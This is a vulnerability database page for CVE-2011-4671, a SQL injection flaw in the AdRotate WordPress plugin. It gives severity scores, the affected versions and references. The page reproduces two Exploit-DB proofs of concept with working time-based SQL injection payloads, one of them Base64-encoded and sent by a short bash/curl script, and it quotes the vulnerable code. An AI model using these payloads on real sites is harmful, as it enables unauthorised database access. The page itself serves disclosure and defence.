CVE-2011-4671 : Detail

CVE-2011-4671

SQL Injection
A03-Injection
0.09%V3
Network
2011-12-02
17h00 +00:00
2011-12-13
09h00 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

SQL injection vulnerability in adrotate/adrotate-out.php in the AdRotate plugin 3.6.6, and other versions before 3.6.8, for WordPress allows remote attackers to execute arbitrary SQL commands via the track parameter (aka redirect URL).

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-89 Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 17888

Publication date : 2011-09-23 22h00 +00:00
Author : Miroslav Stampar
EDB Verified : Yes

# Exploit Title: WordPress AdRotate plugin <= 3.6.5 SQL Injection Vulnerability # Date: 2011-09-22 # Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm) # Software Link: http://downloads.wordpress.org/plugin/adrotate.3.6.5.zip # Version: 3.6.5 (tested) # Note: magic_quotes has to be turned off --- PoC --- http://www.site.com/wp-content/plugins/adrotate/adrotate-out.php?track=1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)%23 --------------- Vulnerable code --------------- if(isset($_GET['track']) OR $_GET['track'] != '') { $meta = urldecode($_GET['track']); ... list($ad, $group, $block) = explode("-", $meta); ... $bannerurl = $wpdb->get_var("SELECT `link` FROM `".$prefix."adrotate` WHERE `id` = '".$ad."' LIMIT 1;");
Exploit Database EDB-ID : 18114

Publication date : 2011-11-13 23h00 +00:00
Author : Miroslav Stampar
EDB Verified : Yes

# Exploit Title: WordPress AdRotate plugin <= 3.6.6 SQL Injection Vulnerability # Date: 2011-11-8 # Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm) # Software Link: http://downloads.wordpress.org/plugin/adrotate.3.6.6.zip # Version: 3.6.6 (tested) # Note: parameter $_GET["track"] has to be Base64 encoded --- PoC --- http://www.site.com/wp-content/plugins/adrotate/adrotate-out.php?track=MScgQU5EIDE9SUYoMj4xLEJFTkNITUFSSyg1MDAwMDAwLE1ENShDSEFSKDExNSwxMTMsMTA4LDEwOSw5NywxMTIpKSksMCkj e.g. #!/bin/bash payload="1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)#" encoded=`echo -n "1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)#" | base64 -w 0` curl http://www.site.com/wp-content/plugins/adrotate/adrotate-out.php?track=$encoded --------------- Vulnerable code --------------- if(isset($_GET['track']) OR $_GET['track'] != '') { $meta = base64_decode($_GET['track']); ... list($ad, $group, $block) = explode("-", $meta); ... $bannerurl = $wpdb->get_var($wpdb->prepare("SELECT `link` FROM `".$prefix."adrotate` WHERE `id` = '".$ad."' LIMIT 1;")); //wrong (mis)usage of wpdb->prepare()

Products Mentioned

Configuraton 0

Adrotateplugin>>Adrotate >> Version To (including) 3.6.7

    Adrotateplugin>>Adrotate >> Version 0.1

      Adrotateplugin>>Adrotate >> Version 0.2

        Adrotateplugin>>Adrotate >> Version 0.3

          Adrotateplugin>>Adrotate >> Version 0.4

            Adrotateplugin>>Adrotate >> Version 0.5

              Adrotateplugin>>Adrotate >> Version 0.6

                Adrotateplugin>>Adrotate >> Version 0.7

                  Adrotateplugin>>Adrotate >> Version 0.7.1

                    Adrotateplugin>>Adrotate >> Version 0.8

                      Adrotateplugin>>Adrotate >> Version 1.0

                        Adrotateplugin>>Adrotate >> Version 2.0

                          Adrotateplugin>>Adrotate >> Version 2.0.1

                            Adrotateplugin>>Adrotate >> Version 2.1

                              Adrotateplugin>>Adrotate >> Version 2.2

                                Adrotateplugin>>Adrotate >> Version 2.3

                                  Adrotateplugin>>Adrotate >> Version 2.3.1

                                    Adrotateplugin>>Adrotate >> Version 2.4

                                      Adrotateplugin>>Adrotate >> Version 2.4.1

                                        Adrotateplugin>>Adrotate >> Version 2.4.2

                                          Adrotateplugin>>Adrotate >> Version 2.4.3

                                            Adrotateplugin>>Adrotate >> Version 2.4.4

                                              Adrotateplugin>>Adrotate >> Version 2.5

                                                Adrotateplugin>>Adrotate >> Version 2.5.1

                                                  Adrotateplugin>>Adrotate >> Version 2.6

                                                    Adrotateplugin>>Adrotate >> Version 2.6.1

                                                      Adrotateplugin>>Adrotate >> Version 3.0

                                                        Adrotateplugin>>Adrotate >> Version 3.0.1

                                                          Adrotateplugin>>Adrotate >> Version 3.0.2

                                                            Adrotateplugin>>Adrotate >> Version 3.0.3

                                                              Adrotateplugin>>Adrotate >> Version 3.1

                                                                Adrotateplugin>>Adrotate >> Version 3.1.1

                                                                  Adrotateplugin>>Adrotate >> Version 3.2

                                                                    Adrotateplugin>>Adrotate >> Version 3.2.1

                                                                      Adrotateplugin>>Adrotate >> Version 3.2.2

                                                                        Adrotateplugin>>Adrotate >> Version 3.3

                                                                          Adrotateplugin>>Adrotate >> Version 3.3.1

                                                                            Adrotateplugin>>Adrotate >> Version 3.4

                                                                              Adrotateplugin>>Adrotate >> Version 3.5

                                                                                Adrotateplugin>>Adrotate >> Version 3.5.1

                                                                                  Adrotateplugin>>Adrotate >> Version 3.6

                                                                                    Adrotateplugin>>Adrotate >> Version 3.6.1

                                                                                      Adrotateplugin>>Adrotate >> Version 3.6.2

                                                                                        Adrotateplugin>>Adrotate >> Version 3.6.3

                                                                                          Adrotateplugin>>Adrotate >> Version 3.6.4

                                                                                            Adrotateplugin>>Adrotate >> Version 3.6.5

                                                                                              Adrotateplugin>>Adrotate >> Version 3.6.6

                                                                                                Wordpress>>Wordpress >> Version *

                                                                                                References

                                                                                                http://www.securityfocus.com/bid/50674
                                                                                                Tags : vdb-entry, x_refsource_BID
                                                                                                http://secunia.com/advisories/46814
                                                                                                Tags : third-party-advisory, x_refsource_SECUNIA
                                                                                                http://www.exploit-db.com/exploits/18114
                                                                                                Tags : exploit, x_refsource_EXPLOIT-DB